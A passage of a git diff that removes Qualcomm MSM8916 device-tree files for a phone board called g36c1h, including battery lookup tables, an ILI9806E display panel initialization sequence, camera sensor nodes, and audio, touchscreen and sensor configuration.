3917 3946 3946 3944>, - <3865 3886 3912 3916 3914>, - <3838 3857 3876 3886 3884>, - <3814 3832 3844 3850 3850>, - <3793 3810 3821 3820 3818>, - <3776 3790 3803 3802 3800>, - <3762 3774 3788 3788 3786>, - <3748 3763 3776 3777 3774>, - <3733 3752 3766 3766 3764>, - <3716 3744 3756 3754 3746>, - <3694 3734 3744 3738 3726>, - <3668 3721 3726 3720 3708>, - <3640 3706 3704 3700 3686>, - <3616 3692 3687 3679 3666>, - <3595 3678 3680 3672 3660>, - <3582 3669 3678 3670 3658>, - <3567 3660 3674 3668 3656>, - <3550 3647 3669 3664 3652>, - <3531 3632 3662 3657 3644>, - <3507 3610 3644 3642 3628>, - <3480 3581 3609 3608 3592>, - <3446 3542 3559 3560 3543>, - <3402 3488 3492 3495 3480>, - <3340 3406 3401 3410 3396>, - <3236 3263 3259 3281 3270>, - <3000 3000 3000 3015 3000>; - }; - qcom,rbatt-sf-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = < 1214 365 99 69 57>, - <1213 365 99 69 57>, - <1190 367 104 70 58>, - <1177 367 109 72 59>, - <1176 367 115 75 60>, - <1174 366 119 79 63>, - <1174 366 121 85 66>, - <1178 366 112 88 70>, - <1186 367 104 79 68>, - <1195 366 101 70 58>, - <1208 367 102 70 59>, - <1224 370 103 71 60>, - <1242 373 105 73 62>, - <1270 377 105 74 64>, - <1309 385 106 73 61>, - <1395 395 107 71 59>, - <1592 411 107 72 60>, - <1861 427 105 71 60>, - <1968 433 101 68 58>, - <2377 448 102 69 58>, - <2660 448 104 71 59>, - <3034 466 107 72 61>, - <3509 487 112 74 64>, - <4240 527 117 77 65>, - <5272 579 121 78 64>, - <6759 666 120 76 62>, - <9195 805 122 76 62>, - <13555 1037 130 79 64>, - <21792 1618 149 85 68>, - <39904 3237 227 112 91>, - <79808 6474 454 224 183>; - }; - qcom,ibat-acc-lut { - qcom,lut-col-legend = <(-20) 0 25>; - qcom,lut-row-legend = <0 250 500 1000>; - qcom,lut-data = <1911 1958 1999>, - <33 1655 1979>, - <3 947 1930>, - <1 393 1656>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/g36c1h/batterydata-qrd-wk-4v35-2000mah.dtsi b/arch/arm/boot/dts/qcom/g36c1h/batterydata-qrd-wk-4v35-2000mah.dtsi deleted file mode 100644 index 67112022107e1..0000000000000 --- a/arch/arm/boot/dts/qcom/g36c1h/batterydata-qrd-wk-4v35-2000mah.dtsi +++ /dev/null @@ -1,119 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -qcom,qrd-wk-4v35-2000mah-data { - qcom,default-rbatt-mohm = <138>; - qcom,max-voltage-uv = <4360000>; - qcom,fcc-mah = <2000>; - qcom,rbatt-capacitive-mohm = <110>; - qcom,v-cutoff-uv = <3550000>; - qcom,chg-term-ua = <50000>; - qcom,batt-id-kohm = <47>; - qcom,flat-ocv-threshold-uv = <3800000>; - qcom,battery-type = "qrd_x6_4v35_2000mah"; - - qcom,fcc-temp-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-data = <2024 2033 2035 2031 2027>; - }; - - qcom,pc-temp-ocv-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1 >, - <0>; - qcom,lut-data = <4343 4342 4346 4341 4345>, - <4232 4251 4252 4248 4246>, - <4164 4192 4193 4190 4188>, - <4110 4138 4138 4135 4133>, - <4065 4090 4087 4084 4082>, - <3966 4028 4038 4036 4034>, - <3922 3956 3984 3991 3990>, - <3884 3925 3951 3952 3951>, - <3850 3891 3905 3908 3909>, - <3824 3858 3864 3865 3865>, - <3804 3830 3836 3836 3836>, - <3786 3807 3814 3814 3813>, - <3772 3788 3796 3796 3795>, - <3757 3774 3781 3782 3780>, - <3744 3763 3768 3764 3758>, - <3728 3750 3754 3744 3732>, - <3710 3730 3736 3727 3713>, - <3691 3718 3718 3708 3694>, - <3672 3710 3700 3690 3678>, - <3654 3704 3690 3682 3670>, - <3645 3700 3688 3680 3668>, - <3634 3695 3687 3679 3667>, - <3622 3689 3684 3676 3665>, - <3604 3680 3679 3672 3659>, - <3584 3663 3666 3658 3641>, - <3558 3635 3634 3623 3608>, - <3524 3595 3586 3576 3562>, - <3478 3540 3526 3518 3504>, - <3408 3461 3446 3440 3424>, - <3284 3336 3331 3320 3302>, - <3000 3000 3036 3012 3000>; - }; - qcom,rbatt-sf-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1>, - <0>; - qcom,lut-data = <1519 272 100 80 72>, - <1519 272 100 80 72>, - <1430 276 101 81 73>, - <1372 279 104 83 75>, - <1351 280 108 86 76>, - <1246 290 114 90 78>, - <1250 269 121 95 81>, - <1257 271 128 101 84>, - <1271 269 116 99 86>, - <1297 270 102 86 76>, - <1334 274 100 83 73>, - <1377 281 103 83 75>, - <1426 291 106 86 78>, - <1481 304 110 91 82>, - <1551 322 112 88 77>, - <1638 346 109 85 74>, - <1757 375 112 86 75>, - <2036 424 114 88 77>, - <2436 493 113 88 76>, - <2769 549 116 88 77>, - <2915 575 118 91 80>, - <2845 564 120 92 81>, - <3206 596 123 94 83>, - <3678 639 129 97 86>, - <4309 693 131 96 82>, - <5148 763 129 91 80>, - <6335 868 136 95 81>, - <8116 1028 147 100 86>, - <10972 1271 167 113 92>, - <18999 2193 213 132 107>, - <37997 4386 426 264 213>; - }; - qcom,ibat-acc-lut { - qcom,lut-col-legend = <(-20) 0 25>; - qcom,lut-row-legend = <0 250 500 1000>; - qcom,lut-data = <1880 1918 1915>, - <184 1724 1882>, - <24 1334 1852>, - <6 768 1667>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/g36c1h/dsi-panel-ili9806e-fwvga-hsd-helitai-video.dtsi b/arch/arm/boot/dts/qcom/g36c1h/dsi-panel-ili9806e-fwvga-hsd-helitai-video.dtsi deleted file mode 100644 index 259417bea247c..0000000000000 --- a/arch/arm/boot/dts/qcom/g36c1h/dsi-panel-ili9806e-fwvga-hsd-helitai-video.dtsi +++ /dev/null @@ -1,307 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/*--------------------------------------------------------------------------- - * This file is autogenerated file using gcdb parser. Please do not edit it. - * Update input XML file to add a new entry or update variable in this file - * VERSION = "1.0" - *---------------------------------------------------------------------------*/ -&mdss_mdp { - dsi_ili9806e_fwvga_hsd_hlt_vid: qcom,mdss_dsi_ili9806e_fwvga_hsd_hlt_video { - qcom,mdss-dsi-panel-name = "ILI9806E fwvga hsd helitai video mode dsi panel"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <480>; - qcom,mdss-dsi-panel-height = <854>; - qcom,mdss-dsi-h-front-porch = <80>; - qcom,mdss-dsi-h-back-porch = <80>; - qcom,mdss-dsi-h-pulse-width = <10>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <18>; - qcom,mdss-dsi-v-front-porch = <20>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [ - 29 01 00 00 00 00 06 - FF FF 98 06 - 04 01 - 29 01 00 00 00 00 02 - 08 10 - 29 01 00 00 00 00 02 - 21 01 - 29 01 00 00 00 00 02 - 30 01 - 29 01 00 00 00 00 02 - 31 02 - 29 01 00 00 00 00 02 - 40 15 - 29 01 00 00 00 00 02 - 41 33 - 29 01 00 00 00 00 02 - 42 02 - 29 01 00 00 00 00 02 - 43 09 - 29 01 00 00 00 00 02 - 44 07 - 29 01 00 00 00 00 02 - 45 16 - 29 01 00 00 00 00 02 - 50 80 - 29 01 00 00 00 00 02 - 51 80 - 29 01 00 00 00 00 02 - 52 00 - 29 01 00 00 00 00 02 - 53 41 - 29 01 00 00 00 00 02 - 60 07 - 29 01 00 00 00 00 02 - 61 00 - 29 01 00 00 00 00 02 - 62 08 - 29 01 00 00 00 00 02 - 63 00 - 29 01 00 00 00 00 02 - A0 00 - 29 01 00 00 00 00 02 - A1 03 - 29 01 00 00 00 00 02 - A2 09 - 29 01 00 00 00 00 02 - A3 0D - 29 01 00 00 00 00 02 - A4 06 - 29 01 00 00 00 00 02 - A5 16 - 29 01 00 00 00 00 02 - A6 09 - 29 01 00 00 00 00 02 - A7 08 - 29 01 00 00 00 00 02 - A8 03 - 29 01 00 00 00 00 02 - A9 07 - 29 01 00 00 00 00 02 - AA 06 - 29 01 00 00 00 00 02 - AB 05 - 29 01 00 00 00 00 02 - AC 0D - 29 01 00 00 00 00 02 - AD 2C - 29 01 00 00 00 00 02 - AE 26 - 29 01 00 00 00 00 02 - AF 00 - 29 01 00 00 00 00 02 - C0 00 - 29 01 00 00 00 00 02 - C1 04 - 29 01 00 00 00 00 02 - C2 0B - 29 01 00 00 00 00 02 - C3 0F - 29 01 00 00 00 00 02 - C4 09 - 29 01 00 00 00 00 02 - C5 18 - 29 01 00 00 00 00 02 - C6 07 - 29 01 00 00 00 00 02 - C7 08 - 29 01 00 00 00 00 02 - C8 05 - 29 01 00 00 00 00 02 - C9 09 - 29 01 00 00 00 00 02 - CA 07 - 29 01 00 00 00 00 02 - CB 05 - 29 01 00 00 00 00 02 - CC 0C - 29 01 00 00 00 00 02 - CD 2D - 29 01 00 00 00 00 02 - CE 28 - 29 01 00 00 00 00 02 - CF 00 - 29 01 00 00 00 00 06 - FF FF 98 06 - 04 06 - 29 01 00 00 00 00 02 - 00 20 - 29 01 00 00 00 00 02 - 01 0A - 29 01 00 00 00 00 02 - 02 00 - 29 01 00 00 00 00 02 - 03 00 - 29 01 00 00 00 00 02 - 04 01 - 29 01 00 00 00 00 02 - 05 01 - 29 01 00 00 00 00 02 - 06 80 - 29 01 00 00 00 00 02 - 07 06 - 29 01 00 00 00 00 02 - 08 04 - 29 01 00 00 00 00 02 - 09 80 - 29 01 00 00 00 00 02 - 0A 00 - 29 01 00 00 00 00 02 - 0B 00 - 29 01 00 00 00 00 02 - 0C 01 - 29 01 00 00 00 00 02 - 0D 01 - 29 01 00 00 00 00 02 - 0E 00 - 29 01 00 00 00 00 02 - 0F 00 - 29 01 00 00 00 00 02 - 10 F0 - 29 01 00 00 00 00 02 - 11 F4 - 29 01 00 00 00 00 02 - 12 01 - 29 01 00 00 00 00 02 - 13 00 - 29 01 00 00 00 00 02 - 14 00 - 29 01 00 00 00 00 02 - 15 C0 - 29 01 00 00 00 00 02 - 16 08 - 29 01 00 00 00 00 02 - 17 00 - 29 01 00 00 00 00 02 - 18 00 - 29 01 00 00 00 00 02 - 19 00 - 29 01 00 00 00 00 02 - 1A 00 - 29 01 00 00 00 00 02 - 1B 00 - 29 01 00 00 00 00 02 - 1C 00 - 29 01 00 00 00 00 02 - 1D 00 - 29 01 00 00 00 00 02 - 20 01 - 29 01 00 00 00 00 02 - 21 23 - 29 01 00 00 00 00 02 - 22 45 - 29 01 00 00 00 00 02 - 23 67 - 29 01 00 00 00 00 02 - 24 01 - 29 01 00 00 00 00 02 - 25 23 - 29 01 00 00 00 00 02 - 26 45 - 29 01 00 00 00 00 02 - 27 67 - 29 01 00 00 00 00 02 - 30 01 - 29 01 00 00 00 00 02 - 31 11 - 29 01 00 00 00 00 02 - 32 00 - 29 01 00 00 00 00 02 - 33 EE - 29 01 00 00 00 00 02 - 34 FF - 29 01 00 00 00 00 02 - 35 BB - 29 01 00 00 00 00 02 - 36 AA - 29 01 00 00 00 00 02 - 37 DD - 29 01 00 00 00 00 02 - 38 CC - 29 01 00 00 00 00 02 - 39 76 - 29 01 00 00 00 00 02 - 3A 67 - 29 01 00 00 00 00 02 - 3B 22 - 29 01 00 00 00 00 02 - 3C 22 - 29 01 00 00 00 00 02 - 3D 22 - 29 01 00 00 00 00 02 - 3E 22 - 29 01 00 00 00 00 02 - 3F 22 - 29 01 00 00 00 00 02 - 40 22 - 29 01 00 00 00 00 02 - 52 10 - 29 01 00 00 00 00 02 - 53 10 - 29 01 00 00 00 00 06 - FF FF 98 06 - 04 07 - 29 01 00 00 00 00 02 - 18 1D - 29 01 00 00 00 00 02 - 17 22 - 29 01 00 00 00 00 02 - 02 77 - 29 01 00 00 00 00 02 - E1 79 - 29 01 00 00 00 00 06 - FF FF 98 06 - 04 00 - 05 01 00 00 78 00 02 - 11 00 - 05 01 00 00 32 00 02 - 29 00 - ]; - qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 - 05 01 00 00 78 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "non_burst_sync_pulse"; - qcom,mdss-dsi-lane-map = "lane_map_3012"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-panel-timings = [72 19 11 00 3C 46 14 1C 1C 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x04>; - qcom,mdss-dsi-t-clk-pre = <0x1b>; - qcom,mdss-dsi-bl-min-level = <26>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <60>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-pwm-gpio = <&pm8916_mpps 4 0>; - qcom,mdss-dsi-reset-sequence = <1 5>, <0 20>, <1 120>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/g36c1h/msm8916-camera-sensor-g36c1h.dtsi b/arch/arm/boot/dts/qcom/g36c1h/msm8916-camera-sensor-g36c1h.dtsi deleted file mode 100644 index 220727a6c52a3..0000000000000 --- a/arch/arm/boot/dts/qcom/g36c1h/msm8916-camera-sensor-g36c1h.dtsi +++ /dev/null @@ -1,135 +0,0 @@ -/* - * Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&soc { - gpio-leds { - compatible = "gpio-leds"; - status = "ok"; - - gpio_flash: gpio-flash { - gpios = <&pm8916_gpios 3 0>; - label = "gpio-flash"; - linux,default-trigger = "gpio_flash_trigger"; - }; - }; - -}; - -&cci { - - actuator0: qcom,actuator@6e { - cell-index = <3>; - reg = <0x6c>; - compatible = "qcom,actuator"; - qcom,cci-master = <0>; - }; - - led_flash0: qcom,camera-led-flash { - cell-index = <0>; - compatible = "qcom,camera-led-flash"; - qcom,flash-type = <3>; - qcom,flash-source = <&gpio_flash>; - qcom,torch-source = <&gpio_flash>; - }; - - qcom,camera@0 { - cell-index = <0>; - compatible = "qcom,camera"; - reg = <0x0>; - qcom,csiphy-sd-index = <0>; - qcom,csid-sd-index = <0>; - qcom,mount-angle = <90>; - qcom,actuator-src = <&actuator0>; - qcom,led-flash-src = <&led_flash0>; - cam_vdig-supply = <&pm8916_l2>; - cam_vana-supply = <&pm8916_l17>; - cam_vio-supply = <&pm8916_l6>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", - "cam_vaf"; - /*qcom,cam-vreg-type = <0 1 0 0>;*/ - qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-op-mode = <200000 0 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>, - <&msm_gpio 32 0>, - <&msm_gpio 10 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-vana = <3>; - qcom,gpio-vdig = <4>; - qcom,gpio-req-tbl-num = <0 1 2 3 4>; - qcom,gpio-req-tbl-flags = <1 0 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET1", - "CAM_STANDBY", - "CAM_VANA", - "CAM_VDIG"; - qcom,sensor-position = <0>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - qcom,mclk-23880000; - status = "ok"; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@1 { - cell-index = <1>; - compatible = "qcom,camera"; - reg = <0x1>; - qcom,csiphy-sd-index = <1>; - qcom,csid-sd-index = <1>; - qcom,mount-angle = <90>; - cam_vdig-supply = <&pm8916_l2>; - cam_vana-supply = <&pm8916_l17>; - cam_vio-supply = <&pm8916_l6>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana"; - - /*qcom,cam-vreg-type = <0 1 0>;*/ - qcom,cam-vreg-min-voltage = <1200000 0 2850000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000>; - qcom,cam-vreg-op-mode = <200000 0 80000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default>; - pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; - gpios = <&msm_gpio 27 0>, - <&msm_gpio 28 0>, - <&msm_gpio 33 0>, - <&msm_gpio 32 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-vana = <3>; - qcom,gpio-req-tbl-num = <0 1 2 3>; - qcom,gpio-req-tbl-flags = <1 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET", - "CAM_STANDBY", - "CAM_VANA"; - qcom,sensor-position = <1>; - qcom,sensor-mode = <1>; - qcom,cci-master = <0>; - qcom,mclk-23880000; - status = "ok"; - clocks = <&clock_gcc clk_mclk1_clk_src>, - <&clock_gcc clk_gcc_camss_mclk1_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; -}; - diff --git a/arch/arm/boot/dts/qcom/g36c1h/msm8916-g36c1h.dtsi b/arch/arm/boot/dts/qcom/g36c1h/msm8916-g36c1h.dtsi deleted file mode 100644 index 652fab9e14f78..0000000000000 --- a/arch/arm/boot/dts/qcom/g36c1h/msm8916-g36c1h.dtsi +++ /dev/null @@ -1,328 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "msm8916-camera-sensor-g36c1h.dtsi" -#include "dsi-panel-ili9806e-fwvga-hsd-helitai-video.dtsi" - -&soc { - gpio-leds { - compatible = "gpio-leds"; - status = "okay"; - pinctrl-names = "default"; - pinctrl-0 = <&button_backlight_off>; - - keypad-backlight { - gpios = <&msm_gpio 119 0>; - label = "button-backlight"; - linux,default-trigger = "none"; - }; - }; - - sound { - compatible = "qcom,msm8x16-audio-codec"; - qcom,model = "msm8x16-skui-snd-card"; - qcom,msm-snd-card-id = <0>; - qcom,msm-ext-pa = "primary"; - qcom,msm-codec-type = "internal"; - qcom,msm-mbhc-hphl-swh = <1>; - qcom,msm-mbhc-gnd-swh = <0>; - qcom,msm-hs-micbias-type = "internal"; - qcom,audio-routing = - "RX_BIAS", "MCLK", - "SPK_RX_BIAS", "MCLK", - "INT_LDO_H", "MCLK", - "MIC BIAS Internal1", "Handset Mic", - "MIC BIAS Internal2", "Headset Mic", - "MIC BIAS Internal1", "Secondary Mic", - "AMIC1", "MIC BIAS Internal1", - "AMIC2", "MIC BIAS Internal2", - "AMIC3", "MIC BIAS Internal1"; - pinctrl-names = "cdc_lines_act", - "cdc_lines_sus"; - pinctrl-0 = <&cdc_pdm_lines_act>; - pinctrl-1 = <&cdc_pdm_lines_sus>; - asoc-platform = <&pcm0>, <&pcm1>, <&voip>, <&voice>, - <&loopback>, <&compress>, <&hostless>, - <&afe>, <&lsm>, <&routing>, <&lpa>; - asoc-platform-names = "msm-pcm-dsp.0", "msm-pcm-dsp.1", - "msm-voip-dsp", "msm-pcm-voice", "msm-pcm-loopback", - "msm-compress-dsp", "msm-pcm-hostless", "msm-pcm-afe", - "msm-lsm-client", "msm-pcm-routing", "msm-pcm-lpa"; - asoc-cpu = <&dai_pri_auxpcm>, <&dai_hdmi>, - <&dai_mi2s0>, <&dai_mi2s1>, <&dai_mi2s2>, <&dai_mi2s3>, - <&sb_0_rx>, <&sb_0_tx>, <&sb_1_rx>, <&sb_1_tx>, - <&sb_3_rx>, <&sb_3_tx>, <&sb_4_rx>, <&sb_4_tx>, - <&bt_sco_rx>, <&bt_sco_tx>, <&bt_a2dp_rx>, - <&int_fm_rx>, <&int_fm_tx>, - <&afe_pcm_rx>, <&afe_pcm_tx>, <&afe_proxy_rx>, <&afe_proxy_tx>, - <&incall_record_rx>, <&incall_record_tx>, <&incall_music_rx>, - <&incall_music_2_rx>; - asoc-cpu-names = "msm-dai-q6-auxpcm.1", "msm-dai-q6-hdmi.8", - "msm-dai-q6-mi2s.0", "msm-dai-q6-mi2s.1", - "msm-dai-q6-mi2s.2", "msm-dai-q6-mi2s.3", - "msm-dai-q6-dev.16384", "msm-dai-q6-dev.16385", - "msm-dai-q6-dev.16386", "msm-dai-q6-dev.16387", - "msm-dai-q6-dev.16390", "msm-dai-q6-dev.16391", - "msm-dai-q6-dev.16392", "msm-dai-q6-dev.16393", - "msm-dai-q6-dev.12288", "msm-dai-q6-dev.12289", - "msm-dai-q6-dev.12290", "msm-dai-q6-dev.12292", - "msm-dai-q6-dev.12293", "msm-dai-q6-dev.224", - "msm-dai-q6-dev.225", "msm-dai-q6-dev.241", - "msm-dai-q6-dev.240", "msm-dai-q6-dev.32771", - "msm-dai-q6-dev.32772", "msm-dai-q6-dev.32773", - "msm-dai-q6-dev.32770"; - asoc-codec = <&stub_codec>, <&pm8916_tombak_dig>; - asoc-codec-names = "msm-stub-codec.1", "tombak_codec"; - }; - - i2c@78b9000 { /* BLSP1 QUP5 */ - mstar@26{ - compatible = "mstar,msg213xa"; - reg = <0x26>; - interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2>; - vdd-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - mstar,family-id = <0x02>; - mstar,reset-gpio = <&msm_gpio 12 0x00>; - mstar,irq-gpio = <&msm_gpio 13 0x00>; - mstar,display-coords = <0 0 480 854>; - mstar,panel-coords = <0 0 480 946>; - mstar,button-map= <158 102 139>; - mstar,no-force-update; - mstar,i2c-pull-up; - }; - mstar@26{ - compatible = "mstar,msg26xx"; - reg = <0x26>; - interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2>; - vdd-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - mstar,family-id = <0x02>; - mstar,reset-gpio = <&msm_gpio 12 0x00>; - mstar,irq-gpio = <&msm_gpio 13 0x00>; - mstar,display-coords = <0 0 720 1280>; - mstar,panel-coords = <0 0 720 1380>; - mstar,button-map= <139 172 158>; - mstar,no-force-update; - mstar,i2c-pull-up; - }; - mstar@26{ - compatible = "mstar,msg2xxx"; - reg = <0x26>; - interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2>; - vdd-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - mstar,family-id = <0x02>; - mstar,reset-gpio = <&msm_gpio 12 0x00>; - mstar,irq-gpio = <&msm_gpio 13 0x00>; - mstar,display-coords = <0 0 480 854>; - mstar,panel-coords = <0 0 480 946>; - mstar,button-map= <580 158 172>; - mstar,no-force-update; - mstar,i2c-pull-up; - }; - }; - - gen-vkeys { - compatible = "qcom,gen-vkeys"; - label = "ft5x06_ts"; - qcom,disp-maxx = <480>; - qcom,disp-maxy = <854>; - qcom,panel-maxx = <480>; - qcom,panel-maxy = <946>; - qcom,key-codes = <139 172 158>; - qcom,y-offset = <0>; - }; - - gpio-leds { - keypad-backlight { - gpios = <&pm8916_gpios 2 0>; - - }; - }; - - usb_otg: usb@78d9000 { - qcom,hsusb-otg-phy-init-seq = - <0x44 0x80 0x6F 0x81 0x30 0x82 0x33 0x83 0xffffffff>; - }; - - ramoops { - compatible = "ramoops"; - status = "ok"; - - android,ramoops-buffer-start = <0x8c400000>; - android,ramoops-buffer-size = <0x100000>; - android,ramoops-console-size = <0x80000>; - android,ramoops-record-size = <0x20000>; - android,ramoops-dump-oops = <0x1>; - }; -}; - -&pm8916_mpps { - mpp@a300 { /* MPP 4 */ - /* Backlight PWM */ - qcom,mode = <1>; /* Digital output */ - qcom,invert = <0>; /* Disable invert */ - qcom,src-sel = <4>; /* DTEST1 */ - qcom,vin-sel = <0>; /* VPH_PWR */ - qcom,master-en = <1>; /* Enable MPP */ - }; -}; - -&mdss_mdp { - qcom,mdss-pref-prim-intf = "dsi"; -}; - -&pmx_mdss { - qcom,num-grp-pins = <1>; - qcom,pins = <&gp 25>; -}; - -&mdss_dsi0 { - qcom,dsi-pref-prim-pan = <&dsi_otm8019a_fwvga_video>; - pinctrl-names = "mdss_default", "mdss_sleep"; - pinctrl-0 = <&mdss_dsi_active>; - pinctrl-1 = <&mdss_dsi_suspend>; - - qcom,platform-reset-gpio = <&msm_gpio 25 0>; -}; - -&tlmm_pinmux { - bma2x2_int1_pin { - qcom,pins = <&gp 112>; - qcom,num-grp-pins = <1>; - label = "bma2x2_int1_pin"; - bma2x2_int1_default: int1_default { - drive-strength = <6>; - bias-pull-up; - }; - }; - - bma2x2_int2_pin { - qcom,pins = <&gp 114>; - qcom,num-grp-pins = <1>; - label = "bma2x2_int2_pin"; - bma2x2_int2_default: int2_default { - drive-strength = <6>; - bias-pull-up; - }; - }; -}; - -&i2c_0 { /* BLSP1 QUP2 */ - memsic@30 { /* Magnetic field sensor */ - compatible = "memsic,mmc3416x"; - reg = <0x30>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - memsic,dir = "obverse-x-axis-forward"; - memsic,auto-report; - }; - - di_ap3426@1e { - compatible = "di_ap3426"; - reg = <0x1e>; - interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2002>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - ap3426,irq-gpio = <&msm_gpio 113 0x2002>; - ap3426,ps-thdl = <300>; - ap3426,ps-thdh = <450>; - ap3426,ps-calibration-min = <0>; - ap3426,ps-calibration-expected = <0>; - ap3426,ps-calibration-max = <500>; - ap3426,ps-integrated-time = <0x8>; - }; - - kionix@e { - compatible = "kionix,kionix_accel"; - reg = <0x0e>; - interrupt-parent = <&msm_gpio>; - interrupts = <112 0x2>; - vdd-supply = <&pm8916_l17>; - vio-supply = <&pm8916_l6>; - kionix,min-interval = <5>; - kionix,poll-interval = <200>; - kionix,accel-direction = <0>; - kionix,accel-irq-use-drdy = <0>; - kionix,accel-res = <12>; - kionix,accel-g-range = <2>; - }; -}; - -&sdc2_cd_on { - /delete-property/ bias-pull-up; - bias-pull-down; -}; - -&sdc2_cd_off { - /delete-property/ bias-disable; - bias-pull-down; -}; - -&sdhc_2 { - interrupts = <0 1>; - interrupt-map = <0 &intc 0 125 0 - 1 &intc 0 221 0>; - interrupt-names = "hc_irq", "pwr_irq"; - /delete-property/ cd-gpios; -}; - -&pm8916_chg { - 